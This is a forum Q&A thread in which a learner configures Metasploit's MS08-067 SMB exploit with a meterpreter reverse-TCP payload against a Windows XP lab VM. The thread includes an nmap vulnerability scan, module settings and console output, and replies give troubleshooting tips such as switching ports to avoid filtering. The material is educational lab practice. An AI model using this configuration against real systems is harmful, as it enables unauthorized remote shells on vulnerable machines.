MS08_067 with Metasploit

  • I'm learning how to use Metasploit. I'm using VirtualBox to run a VM with Kali Linux ( and another with Windows XP SP1 ( The two VMs can ping each other and Windows Firewall is disabled. I'm running Metasploit on Kali Linux and trying to attack Windows XP SP1.

    I fire up msfconsole and start with a port scan:

    nmap -sT -A --script=smb-check-vulns -Pn --script-args=unsafe=1

    which tells me

    Host script results:
    | smb-check-vulns: 
    |   MS08-067: VULNERABLE

    I set the parameters this way:

    Module options (exploit/windows/smb/ms08_067_netapi):
       Name     Current Setting  Required  Description
       ----     ---------------  --------  -----------
       RHOST   yes       The target address
       RPORT    445              yes       Set the SMB service port
       SMBPIPE  BROWSER          yes       The pipe name to use (BROWSER, SRVSVC)
    Payload options (windows/meterpreter/reverse_tcp):
       Name      Current Setting  Required  Description
       ----      ---------------  --------  -----------
       EXITFUNC  thread           yes       Exit technique (accepted: seh, thread, process, none)
       LHOST   yes       The listen address
       LPORT     8080             yes       The listen port
    Exploit target:
       Id  Name
       --  ----
       2   Windows XP SP0/SP1 Universal


    msf exploit(ms08_067_netapi) > exploit
    [*] Started reverse handler on 
    [*] Attempting to trigger the vulnerability...
    msf exploit(ms08_067_netapi) > sessions -l
    Active sessions
    No active sessions.

    What am I doing wrong?

    edit: I did the same with a Windows XP SP3 VM and it worked! I really don't understand why it won't work with Windows XP SP1...

    general advice: run tcpdump when you run the exploit and see what is actually happening. Read the actual exploit code and understand what it is doing, and try to manually replicate step by step. These debugging steps should point you in the right direction.

    Take a look at the Windows VM. Is it frozen? Can you open programs inside it? Try to reboot it, then run `exploit` again and see if that works. I just actually did this assignment in college last semester and that was the issue. The exploit somehow made the Windows VM freeze and I had to reboot it to make it work.

    @rocket The VM is not frozen, but I rebooted it anyway. No luck.

    @Kiuhnm: It was worth a shot. That's what made it work for me in my computer lab.

    @KDEx According to Wireshark, everything works OK. I could learn more about the exploit and use a debugger to see what's wrong, but I was just trying to learn Metasploit, so I'll pass for now.

    did you turn off the firewall?

    If you are just trying to learn metasploit then this question is off topic here. Just choose another exploit to practice with, or follow KDEx's advice.

    @ekaj Yes, I did.

    @Rory I must say this community isn't very useful to me if every single question I need to ask about hacking is considered off topic. I'll go elsewhere...

    Unfortunately this question is not about hacking. Learning how to use metasploit almost has nothing to do with hacking. Understanding the exploits does, but you have said that is not what this question is about. The faq outlines our site very clearly - and if that isn't what you need, then fair enough. You probably want the Metasplout forums in this instance anyway.

  • It seems your exploit does not succeed. You may try different payload or change LPORT. Sometimes ports may be blocked by firewall and you won't get reverse shell. And once your exploit is successful, you will get reverse shell immediately, no need to type "sessions -l" command.

  • Just a couple of things:

    Its possible that nmap has crashed the original service. The unsafe=1 parameter to the NSE script is giving it permission to crash if necessary. Make sure the box is rebooted between nmap and exploiting for the best chance of success. You may also want to: * exploit the SRVSVC rather than the BROWSER. * set the LPORT to 80 (or 443) as these ports are less likely to be filtered.

    I tried all of the above, but nothing works.

    This is generic advice and not related to hacking a specific system. When you launch a meterpreter reverse shell you get a clear indication that the exploit worked because it the exploit is staged - you would see something like the following: [*] Started reverse handler on [*] Starting the payload handler... [*] Sending stage (769024 bytes) to If you don't see "Sending stage" then either a) the exploit failed or b) the exploit ran but the stager failed to connect back to you. The latter maybe because of packet filtering - which is why you try other LPORT values.

License under CC-BY-SA with attribution

Content dated before 7/24/2021 11:53 AM